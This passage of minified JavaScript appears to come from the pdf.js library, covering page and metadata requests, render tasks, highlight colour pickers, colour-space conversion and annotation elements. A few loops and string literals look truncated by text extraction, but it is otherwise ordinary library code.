t=e-1,n=this.pagesMapper.getPageId(e)-1,r=a(this,vl).get(t);if(r)return r;const i=this.messageHandler.sendWithPromise("GetPage",{pageIndex:n}).then(s=>{if(this.destroyed)throw new Error("Transport destroyed");s.refStr&&a(this,Tu).set(s.refStr,n);const o=new Iy(t,s,this,this.pagesMapper,this._params.pdfBug);return a(this,Dr).set(t,o),o});return a(this,vl).set(t,i),i}async getPageIndex(e){if(!vy(e))throw new Error("Invalid pageIndex request.");const t=await this.messageHandler.sendWithPromise("GetPageIndex",{num:e.num,gen:e.gen}),n=this.pagesMapper.getPageNumber(t+1);if(n===0)throw new Error("GetPageIndex: page has been removed.");return n-1}getAnnotations(e,t){return this.messageHandler.sendWithPromise("GetAnnotations",{pageIndex:this.pagesMapper.getPageId(e+1)-1,intent:t})}getFieldObjects(){return A(this,Vr,sd).call(this,"GetFieldObjects")}hasJSActions(){return A(this,Vr,sd).call(this,"HasJSActions")}getCalculationOrderIds(){return this.messageHandler.sendWithPromise("GetCalculationOrderIds",null)}getDestinations(){return this.messageHandler.sendWithPromise("GetDestinations",null)}getDestination(e){return typeof e!="string"?Promise.reject(new Error("Invalid destination request.")):this.messageHandler.sendWithPromise("GetDestination",{id:e})}getPageLabels(){return this.messageHandler.sendWithPromise("GetPageLabels",null)}getPageLayout(){return this.messageHandler.sendWithPromise("GetPageLayout",null)}getPageMode(){return this.messageHandler.sendWithPromise("GetPageMode",null)}getViewerPreferences(){return this.messageHandler.sendWithPromise("GetViewerPreferences",null)}getOpenAction(){return this.messageHandler.sendWithPromise("GetOpenAction",null)}getAttachments(){return this.messageHandler.sendWithPromise("GetAttachments",null)}getAnnotationsByType(e,t){return this.messageHandler.sendWithPromise("GetAnnotationsByType",{types:e,pageIndexesToSkip:t})}getDocJSActions(){return A(this,Vr,sd).call(this,"GetDocJSActions")}getPageJSActions(e){return this.messageHandler.sendWithPromise("GetPageJSActions",{pageIndex:this.pagesMapper.getPageId(e+1)-1})}getStructTree(e){return this.messageHandler.sendWithPromise("GetStructTree",{pageIndex:this.pagesMapper.getPageId(e+1)-1})}getOutline(){return this.messageHandler.sendWithPromise("GetOutline",null)}getOptionalContentConfig(e){return A(this,Vr,sd).call(this,"GetOptionalContentConfig").then(t=>new tC(t,e))}getPermissions(){return this.messageHandler.sendWithPromise("GetPermissions",null)}getMetadata(){const e="GetMetadata";return a(this,ml).getOrInsertComputed(e,()=>this.messageHandler.sendWithPromise(e,null).then(t=>{var n,r;return{info:t[0],metadata:t[1]?new QS(t[1]):null,contentDispositionFilename:((n=a(this,On))==null?void 0:n.filename)??null,contentLength:((r=a(this,On))==null?void 0:r.contentLength)??null,hasStructTree:t[2]}}))}getMarkInfo(){return this.messageHandler.sendWithPromise("GetMarkInfo",null)}getRawData(e){return this.messageHandler.sendWithPromise("GetRawData",e)}async startCleanup(e=!1){if(!this.destroyed){await this.messageHandler.sendWithPromise("Cleanup",null);for(const t of a(this,Dr).values())if(!t.cleanup())throw new Error(`startCleanup: Page ${t.pageNumber} is currently rendering.`);this.commonObjs.clear(),e||this.fontLoader.clear(),a(this,ml).clear(),this.filterFactory.destroy(!0),xm.cleanup()}}cachedPageNumber(e){if(!vy(e))return null;const t=e.gen===0?`${e.num}R`:`${e.num}R${e.gen}`,n=a(this,Tu).get(t);if(n>=0){const r=this.pagesMapper.getPageNumber(n+1);if(r!==0)return r}return null}}On=new WeakMap,ml=new WeakMap,es=new WeakMap,Dr=new WeakMap,vl=new WeakMap,Tu=new WeakMap,ns=new WeakMap,Vr=new WeakSet,sd=function(e,t=null){return a(this,ml).getOrInsertComputed(e,()=>this.messageHandler.sendWithPromise(e,t))},Ug=function({loaded:e,total:t}){var n,r;(r=(n=this.loadingTask).onProgress)==null||r.call(n,{loaded:e,total:t,percent:t?Qt(Math.round(e/t*100),0,100):NaN})};class aC{constructor(e){M(this,"_internalRenderTask",null);M(this,"onContinue",null);M(this,"onError",null);this._internalRenderTask=e}get promise(){return this._internalRenderTask.capability.promise}cancel(e=0){this._internalRenderTask.cancel(null,e)}get separateAnnots(){const{separateAnnots:e}=this._internalRenderTask.operatorList;if(!e)return!1;const{annotationCanvasMap:t}=this._internalRenderTask;return e.form||e.canvas&&(t==null?void 0:t.size)>0}get imageCoordinates(){return this._internalRenderTask.imageCoordinates||null}}var Sa,yl;const Eo=class Eo{constructor({callback:e,params:t,objs:n,commonObjs:r,annotationCanvasMap:i,operatorList:s,pageIndex:o,canvasFactory:l,filterFactory:u,useRequestAnimationFrame:c=!1,pdfBug:d=!1,pageColors:f=null,enableHWA:p=!1,operationsFilter:m=null}){b(this,Sa,null);this.callback=e,this.params=t,this.objs=n,this.commonObjs=r,this.annotationCanvasMap=i,this.operatorListIdx=null,this.operatorList=s,this._pageIndex=o,this.canvasFactory=l,this.filterFactory=u,this._pdfBug=d,this.pageColors=f,this.running=!1,this.graphicsReadyCallback=null,this.graphicsReady=!1,this._useRequestAnimationFrame=c===!0&&typeof window<"u",this.cancelled=!1,this.capability=Promise.withResolvers(),this.task=new aC(this),this._cancelBound=this.cancel.bind(this),this._continueBound=this._continue.bind(this),this._scheduleNextBound=this._scheduleNext.bind(this),this._nextBound=this._next.bind(this),this._canvas=t.canvas,this._canvasContext=t.canvas?null:t.canvasContext,this._enableHWA=p,this._dependencyTracker=t.dependencyTracker,this._imagesTracker=t.imagesTracker,this._operationsFilter=m}get completed(){return this.capability.promise.catch(function(){})}initializeGraphics({transparency:e=!1,optionalContentConfig:t}){var u,c;if(this.cancelled)return;if(this._canvas){if(a(Eo,yl).has(this._canvas))throw new Error("Cannot use the same canvas during multiple render() operations. Use different canvas or ensure previous operations were cancelled or completed.");a(Eo,yl).add(this._canvas)}this._pdfBug&&((u=globalThis.StepperManager)!=null&&u.enabled)&&(this.stepper=globalThis.StepperManager.create(this._pageIndex),this.stepper.init(this.operatorList),this.stepper.nextBreakPoint=this.stepper.getNextBreakPoint());const{viewport:n,transform:r,background:i,dependencyTracker:s,imagesTracker:o}=this.params,l=this._canvasContext||this._canvas.getContext("2d",{alpha:!1,willReadFrequently:!this._enableHWA});this.gfx=new Fh(l,this.commonObjs,this.objs,this.canvasFactory,this.filterFactory,{optionalContentConfig:t},this.annotationCanvasMap,this.pageColors,s,o),this.gfx.beginDrawing({transform:r,viewport:n,transparency:e,background:i}),this.operatorListIdx=0,this.graphicsReady=!0,(c=this.graphicsReadyCallback)==null||c.call(this)}cancel(e=null,t=0){var n,r,i;this.running=!1,this.cancelled=!0,(n=this.gfx)==null||n.endDrawing(),a(this,Sa)&&(window.cancelAnimationFrame(a(this,Sa)),g(this,Sa,null)),a(Eo,yl).delete(this._canvas),e||(e=new ib(`Rendering cancelled, page ${this._pageIndex+1}`,t)),this.callback(e),(i=(r=this.task).onError)==null||i.call(r,e)}operatorListChanged(){var e,t;if(!this.graphicsReady){this.graphicsReadyCallback||(this.graphicsReadyCallback=this._continueBound);return}(e=this.gfx.dependencyTracker)==null||e.growOperationsCount(this.operatorList.fnArray.length),(t=this.stepper)==null||t.updateOperatorList(this.operatorList),!this.running&&this._continue()}_continue(){this.running=!0,!this.cancelled&&(this.task.onContinue?this.task.onContinue(this._scheduleNextBound):this._scheduleNext())}_scheduleNext(){this._useRequestAnimationFrame?g(this,Sa,window.requestAnimationFrame(()=>{g(this,Sa,null),this._nextBound().catch(this._cancelBound)})):Promise.resolve().then(this._nextBound).catch(this._cancelBound)}async _next(){this.cancelled||(this.operatorListIdx=this.gfx.executeOperatorList(this.operatorList,this.operatorListIdx,this._continueBound,this.stepper,this._operationsFilter),this.operatorListIdx===this.operatorList.argsArray.length&&(this.running=!1,this.operatorList.lastChunk&&(this.gfx.endDrawing(),a(Eo,yl).delete(this._canvas),this.callback())))}};Sa=new WeakMap,yl=new WeakMap,b(Eo,yl,new WeakSet);let Fy=Eo;const oC="5.7.284",lC="7e5b36c2d";ut(3068);var Mn,bl,Pu,Se,Of,Iu,rs,Mf,Ca,Or,We,Lf,Vt,Dy,Oy,My,go,fE,Ws;let dE=(We=class{constructor({editor:e=null,uiManager:t=null}){b(this,Vt);b(this,Mn,null);b(this,bl,null);b(this,Pu);b(this,Se,null);b(this,Of,!1);b(this,Iu,!1);b(this,rs,null);b(this,Mf);b(this,Ca,null);b(this,Or,null);var n,r;e?(g(this,Iu,!1),g(this,rs,e)):g(this,Iu,!0),g(this,Or,(e==null?void 0:e._uiManager)||t),g(this,Mf,a(this,Or)._eventBus),g(this,Pu,((n=e==null?void 0:e.color)==null?void 0:n.toUpperCase())||((r=a(this,Or))==null?void 0:r.highlightColors.values().next().value)||"#FFFF98"),a(We,Lf)||g(We,Lf,Object.freeze({blue:"pdfjs-editor-colorpicker-blue",green:"pdfjs-editor-colorpicker-green",pink:"pdfjs-editor-colorpicker-pink",red:"pdfjs-editor-colorpicker-red",yellow:"pdfjs-editor-colorpicker-yellow"}))}static get _keyboardManager(){return dt(this,"_keyboardManager",new ag([[["Escape","mac+Escape"],We.prototype._hideDropdownFromKeyboard],[[" ","mac+ "],We.prototype._colorSelectFromKeyboard],[["ArrowDown","ArrowRight","mac+ArrowDown","mac+ArrowRight"],We.prototype._moveToNext],[["ArrowUp","ArrowLeft","mac+ArrowUp","mac+ArrowLeft"],We.prototype._moveToPrevious],[["Home","mac+Home"],We.prototype._moveToBeginning],[["End","mac+End"],We.prototype._moveToEnd]]))}renderButton(){const e=g(this,Mn,document.createElement("button"));e.className="colorPicker",e.tabIndex="0",e.setAttribute("data-l10n-id","pdfjs-editor-colorpicker-button"),e.ariaHasPopup="true",a(this,rs)&&(e.ariaControls=`${a(this,rs).id}_colorpicker_dropdown`);const t=a(this,Or)._signal;e.addEventListener("click",A(this,Vt,go).bind(this),{signal:t}),e.addEventListener("keydown",A(this,Vt,My).bind(this),{signal:t});const n=g(this,bl,document.createElement("span"));return n.className="swatch",n.ariaHidden="true",n.style.backgroundColor=a(this,Pu),e.append(n),e}renderMainDropdown(){const e=g(this,Se,A(this,Vt,Dy).call(this));return e.ariaOrientation="horizontal",e.ariaLabelledBy="highlightColorPickerLabel",e}_colorSelectFromKeyboard(e){if(e.target===a(this,Mn)){A(this,Vt,go).call(this,e);return}const t=e.target.getAttribute("data-color");t&&A(this,Vt,Oy).call(this,t,e)}_moveToNext(e){var t,n;if(!a(this,Vt,Ws)){A(this,Vt,go).call(this,e);return}if(e.target===a(this,Mn)){(t=a(this,Se).firstElementChild)==null||t.focus();return}(n=e.target.nextSibling)==null||n.focus()}_moveToPrevious(e){var t,n;if(e.target===((t=a(this,Se))==null?void 0:t.firstElementChild)||e.target===a(this,Mn)){a(this,Vt,Ws)&&this._hideDropdownFromKeyboard();return}a(this,Vt,Ws)||A(this,Vt,go).call(this,e),(n=e.target.previousSibling)==null||n.focus()}_moveToBeginning(e){var t;if(!a(this,Vt,Ws)){A(this,Vt,go).call(this,e);return}(t=a(this,Se).firstElementChild)==null||t.focus()}_moveToEnd(e){var t;if(!a(this,Vt,Ws)){A(this,Vt,go).call(this,e);return}(t=a(this,Se).lastElementChild)==null||t.focus()}hideDropdown(){var e,t;(e=a(this,Se))==null||e.classList.add("hidden"),a(this,Mn).ariaExpanded="false",(t=a(this,Ca))==null||t.abort(),g(this,Ca,null)}_hideDropdownFromKeyboard(){var e;if(!a(this,Iu)){if(!a(this,Vt,Ws)){(e=a(this,rs))==null||e.unselect();return}this.hideDropdown(),a(this,Mn).focus({preventScroll:!0,focusVisible:a(this,Of)})}}updateColor(e){if(a(this,bl)&&(a(this,bl).style.backgroundColor=e),!a(this,Se))return;const t=a(this,Or).highlightColors.values();for(const n of a(this,Se).children)n.ariaSelected=t.next().value===e.toUpperCase()}destroy(){var e,t;(e=a(this,Mn))==null||e.remove(),g(this,Mn,null),g(this,bl,null),(t=a(this,Se))==null||t.remove(),g(this,Se,null)}},Mn=new WeakMap,bl=new WeakMap,Pu=new WeakMap,Se=new WeakMap,Of=new WeakMap,Iu=new WeakMap,rs=new WeakMap,Mf=new WeakMap,Ca=new WeakMap,Or=new WeakMap,Lf=new WeakMap,Vt=new WeakSet,Dy=function(){const e=document.createElement("div"),t=a(this,Or)._signal;e.addEventListener("contextmenu",Er,{signal:t}),e.className="dropdown",e.role="listbox",e.ariaMultiSelectable="false",e.ariaOrientation="vertical",e.setAttribute("data-l10n-id","pdfjs-editor-colorpicker-dropdown"),a(this,rs)&&(e.id=`${a(this,rs).id}_colorpicker_dropdown`);for(const[n,r]of a(this,Or).highlightColors){const i=document.createElement("button");i.tabIndex="0",i.role="option",i.setAttribute("data-color",r),i.title=n,i.setAttribute("data-l10n-id",a(We,Lf)[n]);const s=document.createElement("span");i.append(s),s.className="swatch",s.style.backgroundColor=r,i.ariaSelected=r===a(this,Pu),i.addEventListener("click",A(this,Vt,Oy).bind(this,r),{signal:t}),e.append(i)}return e.addEventListener("keydown",A(this,Vt,My).bind(this),{signal:t}),e},Oy=function(e,t){t.stopPropagation(),a(this,Mf).dispatch("switchannotationeditorparams",{source:this,type:gt.HIGHLIGHT_COLOR,value:e}),this.updateColor(e)},My=function(e){We._keyboardManager.exec(this,e)},go=function(e){if(a(this,Vt,Ws)){this.hideDropdown();return}if(g(this,Of,e.detail===0),a(this,Ca)||(g(this,Ca,new AbortController),window.addEventListener("pointerdown",A(this,Vt,fE).bind(this),{signal:a(this,Or).combinedSignal(a(this,Ca))})),a(this,Mn).ariaExpanded="true",a(this,Se)){a(this,Se).classList.remove("hidden");return}const t=g(this,Se,A(this,Vt,Dy).call(this));a(this,Mn).append(t)},fE=function(e){var t;(t=a(this,Se))!=null&&t.contains(e.target)||this.hideDropdown()},Ws=function(){return a(this,Se)&&!a(this,Se).classList.contains("hidden")},b(We,Lf,null),We);var Ln,Ru,Al,is,Nf;const wo=class wo{constructor(e){b(this,Ln,null);b(this,Ru,!1);b(this,Al,null);b(this,is,null);g(this,Al,e),g(this,is,e._uiManager),a(wo,Nf)||g(wo,Nf,Object.freeze({freetext:"pdfjs-editor-color-picker-free-text-input",ink:"pdfjs-editor-color-picker-ink-input"}))}renderButton(){if(a(this,Ln))return a(this,Ln);const{editorType:e,colorType:t,colorAndOpacityType:n,opacityType:r,color:i,opacity:s}=a(this,Al),o=g(this,Ru,be.isAlphaColorInputSupported&&r!==void 0),l=g(this,Ln,document.createElement("input"));if(l.type="color",o){l.setAttribute("alpha","");const u=_.hexNums[Math.round((s??1)*255)];l.value=(i||"#000000")+u}else l.value=i||"#000000";return l.className="basicColorPicker",l.tabIndex=0,l.setAttribute("data-l10n-id",a(wo,Nf)[e]),l.addEventListener("input",()=>{if(o){const u=ab(l.value);if(!u)return;const[c,d,f,p]=u,m=_.makeHexColor(c,d,f);n!==void 0?a(this,is).updateParams(n,{color:m,opacity:p}):(a(this,is).updateParams(t,m),a(this,is).updateParams(r,p))}else a(this,is).updateParams(t,l.value)},{signal:a(this,is)._signal}),l}update(e){if(a(this,Ln))if(a(this,Ru)){const t=_.hexNums[Math.round(a(this,Al).opacity*255)];a(this,Ln).value=e+t}else a(this,Ln).value=e}updateOpacity(e){if(!a(this,Ln)||!a(this,Ru))return;const t=_.hexNums[Math.round(e*255)];a(this,Ln).value=a(this,Al).color+t}destroy(){var e;(e=a(this,Ln))==null||e.remove(),g(this,Ln,null)}hideDropdown(){}};Ln=new WeakMap,Ru=new WeakMap,Al=new WeakMap,is=new WeakMap,Nf=new WeakMap,b(wo,Nf,null);let Sm=wo;ut(531);function e1(h){return Math.floor(Qt(h,0,1)*255).toString(16).padStart(2,"0")}function jc(h){return Qt(h,0,1)*255}class n1{static CMYK_G([e,t,n,r]){return["G",1-Math.min(1,.3*e+.59*n+.11*t+r)]}static G_CMYK([e]){return["CMYK",0,0,0,1-e]}static G_RGB([e]){return["RGB",e,e,e]}static G_rgb([e]){return e=jc(e),[e,e,e]}static G_HTML([e]){const t=e1(e);return`#${t}${t}${t}`}static RGB_G([e,t,n]){return["G",.3*e+.59*t+.11*n]}static RGB_rgb(e){return e.map(jc)}static RGB_HTML(e){return`#${e.map(e1).join("")}`}static T_HTML(){return"#00000000"}static T_rgb(){return[null]}static CMYK_RGB([e,t,n,r]){return["RGB",1-Math.min(1,e+r),1-Math.min(1,n+r),1-Math.min(1,t+r)]}static CMYK_rgb([e,t,n,r]){return[jc(1-Math.min(1,e+r)),jc(1-Math.min(1,n+r)),jc(1-Math.min(1,t+r))]}static CMYK_HTML(e){const t=this.CMYK_RGB(e).slice(1);return this.RGB_HTML(t)}static RGB_CMYK([e,t,n]){const r=1-e,i=1-t,s=1-n,o=Math.min(r,i,s);return["CMYK",r,i,s,o]}}class hC{create(e,t,n=!1){if(e<=0||t<=0)throw new Error("Invalid SVG dimensions");const r=this._createSVG("svg:svg");return r.setAttribute("version","1.1"),n||(r.setAttribute("width",`${e}px`),r.setAttribute("height",`${t}px`)),r.setAttribute("preserveAspectRatio","none"),r.setAttribute("viewBox",`0 0 ${e} ${t}`),r}createElement(e){if(typeof e!="string")throw new Error("Invalid SVG element type");return this._createSVG(e)}_createSVG(e){Ot("Abstract method `_createSVG` called.")}}let Cm=class extends hC{_createSVG(e){return document.createElementNS(Pi,e)}};const uC=9,ch=new WeakSet,cC=new Date().getTimezoneOffset()*60*1e3;class Fv{static create(e){switch(e.data.annotationType){case ge.LINK:return new hb(e);case ge.TEXT:return new fC(e);case ge.WIDGET:switch(e.data.fieldType){case"Tx":return new pC(e);case"Btn":return e.data.radioButton?new mE(e):e.data.checkBox?new mC(e):new vC(e);case"Ch":return new yC(e);case"Sig":return new gC(e)}return new fh(e);case ge.POPUP:return new Ny(e);case ge.FREETEXT:return new EE(e);case ge.LINE:return new AC(e);case ge.SQUARE:return new EC(e);case ge.CIRCLE:return new wC(e);case ge.POLYLINE:return new wE(e);case ge.CARET:return new SC(e);case ge.INK:return new ub(e);case ge.POLYGON:return new xC(e);case ge.HIGHLIGHT:return new xE(e);case ge.UNDERLINE:return new CC(e);case ge.SQUIGGLY:return new TC(e);case ge.STRIKEOUT:return new PC(e);case ge.STAMP:return new SE(e);case ge.FILEATTACHMENT:return new IC(e);default:return new re(e)}}}var El,Fu,cr,Bf,Ly;const Eb=class Eb{constructor(e,{isRenderable:t=!1,ignoreBorder:n=!1,createQuadrilaterals:r=!1}={}){b(this,Bf);b(this,El,null);b(this,Fu,!1);b(this,cr,null);this.isRenderable=t,this.data=e.data,this.layer=e.layer,this.linkService=e.linkService,this.downloadManager=e.downloadManager,this.imageResourcesPath=e.imageResourcesPath,this.renderForms=e.renderForms,this.svgFactory=e.svgFactory,this.annotationStorage=e.annotationStorage,this.enableComment=e.enableComment,this.enableScripting=e.enableScripting,this.hasJSActions=e.hasJSActions,this._fieldObjects=e.fieldObjects,this.parent=e.parent,this.hasOwnCommentButton=!1,t&&(this.contentElement=this.container=this._createContainer(n)),r&&this._createQuadrilaterals()}static _hasPopupData({contentsObj:e,richText:t}){return!!(e!=null&&e.str||t!=null&&t.str)}get _isEditable(){return this.data.isEditable}get hasPopupData(){return Eb._hasPopupData(this.data)||this.enableComment&&!!this.commentText}get commentData(){var n;const{data:e}=this,t=(n=this.annotationStorage)==null?void 0:n.getEditor(e.id);return t?t.getData():e}get hasCommentButton(){return this.enableComment&&this.hasPopupElement}get commentButtonPosition(){var o;const e=(o=this.annotationStorage)==null?void 0:o.getEditor(this.data.id);if(e)return e.commentButtonPositionInPage;const{quadPoints:t,inkLists:n,rect:r}=this.data;let i=-1/0,s=-1/0;if((t==null?void 0:t.length)>=8){for(let l=0;ls?(s=t[l+1],i=t[l+2]):t[l+1]===s&&(i=Math.max(i,t[l+2]));return[i,s]}if((n==null?void 0:n.length)>=1){for(const l of n)for(let u=0,c=l.length;us?(s=l[u+1],i=l[u]):l[u+1]===s&&(i=Math.max(i,l[u]));if(i!==1/0)return[i,s]}return r?[r[2],r[3]]:null}_normalizePoint(e){const{page:{view:t},viewport:{rawDims:{pageWidth:n,pageHeight:r,pageX:i,pageY:s}}}=this.parent;return e[1]=t[3]-e[1]+t[1],e[0]=100*(e[0]-i)/n,e[1]=100*(e[1]-s)/r,e}get commentText(){var t,n,r;const{data:e}=this;return((n=(t=this.annotationStorage.getRawValue(`${xd}${e.id}`))==null?void 0:t.popup)==null?void 0:n.contents)||((r=e.contentsObj)==null?void 0:r.str)||""}set commentText(e){const{data:t}=this,n={deleted:!e,contents:e||""};this.annotationStorage.updateEditor(t.id,{popup:n})||this.annotationStorage.setValue(`${xd}${t.id}`,{id:t.id,annotationType:t.annotationType,page:this.parent.page,popup:n,popupRef:t.popupRef,modificationDate:new Date}),e||this.removePopup()}removePopup(){var e,t;(t=((e=a(this,cr))==null?void 0:e.popup)||this.popup)==null||t.remove(),g(this,cr,this.popup=null)}updateEdited(e){var i;if(!this.container)return;e.rect&&(a(this,El)||g(this,El,{rect:this.data.rect.slice(0)}));const{rect:t,popup:n}=e;t&&A(this,Bf,Ly).call(this,t);let r=((i=a(this,cr))==null?void 0:i.popup)||this.popup;!r&&(n!=null&&n.text)&&(this._createPopup(n),r=a(this,cr).popup),r&&(r.updateEdited(e),n!=null&&n.deleted&&(r.remove(),g(this,cr,null),this.popup=null))}resetEdited(){var e;a(this,El)&&(A(this,Bf,Ly).call(this,a(this,El).rect),(e=a(this,cr))==null||e.popup.resetEdited(),g(this,El,null))}_createContainer(e){const{data:t,parent:{page:n,viewport:r}}=this,i=document.createElement("section");i.setAttribute("data-annotation-id",t.id),!(this instanceof fh)&&!(this instanceof hb)&&(i.tabIndex=0);const{style:s}=i;if(s.zIndex=this.parent.zIndex,this.parent.zIndex+=2,t.alternativeText&&(i.title=t.alternativeText),t.noRotate&&i.classList.add("norotate"),!t.rect||this instanceof Ny){const{rotation:v}=t;return!t.hasOwnCanvas&&v!==0&&this.setRotation(v,i),i}const{width:o,height:l}=this;if(!e&&t.borderStyle.width>0){s.borderWidth=`${t.borderStyle.width}px`;const v=t.borderStyle.horizontalCornerRadius,y=t.borderStyle.verticalCornerRadius;if(v>0||y>0){const S=`calc(${v}px * var(--total-scale-factor)) / calc(${y}px * var(--total-scale-factor))`;s.borderRadius=S}else if(this instanceof mE){const S=`calc(${o}px * var(--total-scale-factor)) / calc(${l}px * var(--total-scale-factor))`;s.borderRadius=S}switch(t.borderStyle.style){case mh.SOLID:s.borderStyle="solid";break;case mh.DASHED:s.borderStyle="dashed";break;case mh.BEVELED:ht("Unimplemented border style: beveled");break;case mh.INSET:ht("Unimplemented border style: inset");break;case mh.UNDERLINE:s.borderBottomStyle="solid";break}const E=t.borderColor||null;E?(g(this,Fu,!0),s.borderColor=_.makeHexColor(...E)):s.borderWidth=0}const u=_.normalizeRect([t.rect[0],n.view[3]-t.rect[1]+n.view[1],t.rect[2],n.view[3]-t.rect[3]+n.view[1]]),{pageWidth:c,pageHeight:d,pageX:f,pageY:p}=r.rawDims;s.left=`${100*(u[0]-f)/c}%`,s.top=`${100*(u[1]-p)/d}%`;const{rotation:m}=t;return t.hasOwnCanvas||m===0?(s.width=`${100*o/c}%`,s.height=`${100*l/d}%`):this.setRotation(m,i),i}setRotation(e,t=this.container){if(!this.data.rect)return;const{pageWidth:n,pageHeight:r}=this.parent.viewport.rawDims;let{width:i,height:s}=this;e%180!==0&&([i,s]=[s,i]),t.style.width=`${100*i/n}%`,t.style.height=`${100*s/r}%`,t.setAttribute("data-main-rotation",(360-e)%360)}get _commonActions(){const e=(t,n,r)=>{const i=r.detail[t],s=i[0],o=i.slice(1);r.target.style[n]=n1[`${s}_HTML`](o),this.annotationStorage.setValue(this.data.id,{[n]:n1[`${s}_rgb`](o)})};return dt(this,"_commonActions",{display:t=>{const{display:n}=t.detail,r=n%2===1;this.container.style.visibility=r?"hidden":"visible",this.annotationStorage.setValue(this.data.id,{noView:r,noPrint:n===1||n===2})},print:t=>{this.annotationStorage.setValue(this.data.id,{noPrint:!t.detail.print})},hidden:t=>{const{hidden:n}=t.detail;this.container.style.visibility=n?"hidden":"visible",this.annotationStorage.setValue(this.data.id,{noPrint:n,noView:n})},focus:t=>{setTimeout(()=>t.target.focus({preventScroll:!1}),0)},userName:t=>{t.target.title=t.detail.userName},readonly:t=>{t.target.disabled=t.detail.readonly},required:t=>{this._setRequired(t.target,t.detail.required)},bgColor:t=>{e("bgColor","backgroundColor",t)},fillColor:t=>{e("fillColor","backgroundColor",t)},fgColor:t=>{e("fgColor","color",t)},textColor:t=>{e("textColor","color",t)},borderColor:t=>{e("borderColor","borderColor",t)},strokeColor:t=>{e("strokeColor","borderColor",t)},rotation:t=>{const n=t.detail.rotation;this.setRotation(n),this.annotationStorage.setValue(this.data.id,{rotation:n})}})}_dispatchEventFromSandbox(e,t){const n=this._commonActions;for(const r of Object.keys(t.detail)){const i=e[r]||n[r];i==null||i(t)}}_setDefaultPropertiesFromJS(e){if(!this.enableScripting)return;const t=this.annotationStorage.getRawValue(this.data.id);if(!t)return;const n=this._commonActions;for(const[r,i]of Object.entries(t)){const s=n[r];if(s){const o={detail:{[r]:i},target:e};s(o),delete t[r]}}}_createQuadrilaterals(){if(!this.container)return;const{quadPoints:e}=this.data;if(!e)return;const[t,n,r,i]=this.data.rect.map(v=>Math.fround(v));if(e.length===8){const[v,y,E,S]=e.subarray(2,6);if(r===v&&i===y&&t===E&&n===S)return}const{style:s}=this.container;let o;if(a(this,Fu)){const{borderColor:v,borderWidth:y}=s;s.borderWidth=0,o=["url('data:image/svg+xml;utf8,",'',``],this.container.classList.add("hasBorder")}const l=r-t,u=i-n,{svgFactory:c}=this,d=c.createElement("svg");d.classList.add("quadrilateralsContainer"),d.setAttribute("width",0),d.setAttribute("height",0),d.role="none";const f=c.createElement("defs");d.append(f);const p=c.createElement("clipPath"),m=`clippath_${this.data.id}`;p.setAttribute("id",m),p.setAttribute("clipPathUnits","objectBoundingBox"),f.append(p);for(let v=2,y=e.length;v`)}a(this,Fu)&&(o.push("')"),s.backgroundImage=o.join("")),this.container.append(d),this.container.style.clipPath=`url(#${m})`}_createPopup(e=null){const{data:t}=this;let n,r;e?(n={str:e.text},r=e.date):(n=t.contentsObj,r=t.modificationDate),g(this,cr,new Ny({data:{color:t.color,titleObj:t.titleObj,modificationDate:r,contentsObj:n,richText:t.richText,parentRect:t.rect,borderStyle:0,id:`popup_${t.id}`,rotation:t.rotation,noRotate:!0},linkService:this.linkService,parent:this.parent,elements:[this]}))}get hasPopupElement(){return!!(a(this,cr)||this.popup||this.data.popupRef)}get extraPopupElement(){return a(this,cr)}render(){Ot("Abstract method `AnnotationElement.render` called")}_getElementsByName(e,t=null){const n=[];if(this._fieldObjects){const r=this._fieldObjects[e];if(r)for(const{page:i,id:s,exportValues:o}of r){if(i===-1||s===t)continue;const l=typeof o=="string"?o:null,u=document.querySelector(`[data-element-id="${s}"]`);if(u&&!ch.has(u)){ht(`_getElementsByName - element not allowed: ${s}`);continue}n.push({id:s,exportValue:l,domElement:u})}return n}for(const r of document.getElementsByName(e)){const{exportValue:i}=r,s=r.getAttribute("data-element-id");s!==t&&ch.has(r)&&n.push({id:s,exportValue:i,domElement:r})}return n}show(){var e;this.container&&(this.container.hidden=!1),(e=this.popup)==null||e.maybeShow()}hide(){var e;this.container&&(this.container.hidden=!0),(e=this.popup)==null||e.forceHide()}getElementsToTriggerPopup(){return this.container}addHighlightArea(){const e=this.getElementsToTriggerPopup();if(Array.isArray(e))for(const t of e)t.classList.add("highlightArea");else e.classList.add("highlightArea")}_editOnDoubleClick(){if(!this._isEditable)return;const{annotationEditorType:e,data:{id:t}}=this;this.container.addEventListener("dblclick",()=>{var n;(n=this.linkService.eventBus)==null||n.dispatch("switchannotationeditormode",{source:this,mode:e,editId:t,mustEnterInEditMode:!0})})}get width(){return this.data.rect[2]-this.data.rect[0]}get height(){return this.data.rect[3]-this.data.rect[1]}};El=new WeakMap,Fu=new WeakMap,cr=new WeakMap,Bf=new WeakSet,Ly=function(e){const{container:{style:t},data:{rect:n,rotation:r},parent:{viewport:{rawDims:{pageWidth:i,pageHeight:s,pageX:o,pageY:l}}}}=this;n==null||n.splice(0,4,...e),t.left=`${100*(e[0]-o)/i}%`,t.top=`${100*(s-e[3]+l)/s}%`,r===0?(t.width=`${100*(e[2]-e[0])/i}%`,t.height=`${100*(e[3]-e[1])/s}%`):this.setRotation(r)};let re=Eb;class dC extends re{constructor(e){super(e,{isRenderable:!0,ignoreBorder:!0}),this.editor=e.editor}render(){return this.container.className="editorAnnotation",this.container}createOrUpdatePopup(){const{editor:e}=this;e.hasComment&&this._createPopup(e.comment)}get hasCommentButton(){return this.enableComment&&this.editor.hasComment}get commentButtonPosition(){return this.editor.commentButtonPositionInPage}get commentText(){return this.editor.comment.text}set commentText(e){this.editor.comment=e,e||this.removePopup()}get commentData(){return this.editor.getData()}remove(){this.parent.removeAnnotation(this.data.id),this.container.remove(),this.container=null,this.removePopup()}}var Kn,mo,pE,gE;class hb extends re{constructor(t,n=null){super(t,{isRenderable:!0,ignoreBorder:!!(n!=null&&n.ignoreBorder),createQuadrilaterals:!0});b(this,Kn);this.isTooltipOnly=t.data.isTooltipOnly}render(){const{data:t,linkService:n}=this,r=document.createElement("a");r.setAttribute("data-element-id",t.id);let i=!1;return t.url?(n.addLinkAttributes(r,t.url,t.newWindow),i=!0):t.action?(this._bindNamedAction(r,t.action,t.overlaidText),i=!0):t.attachment?(A(this,Kn,pE).call(this,r,t.attachment,t.overlaidText,t.attachmentDest),i=!0):t.setOCGState?(A(this,Kn,gE).call(this,r,t.setOCGState,t.overlaidText),i=!0):t.dest?(this._bindLink(r,t.dest,t.overlaidText),i=!0):(t.actions&&(t.actions.Action||t.actions["Mouse Up"]||t.actions["Mouse 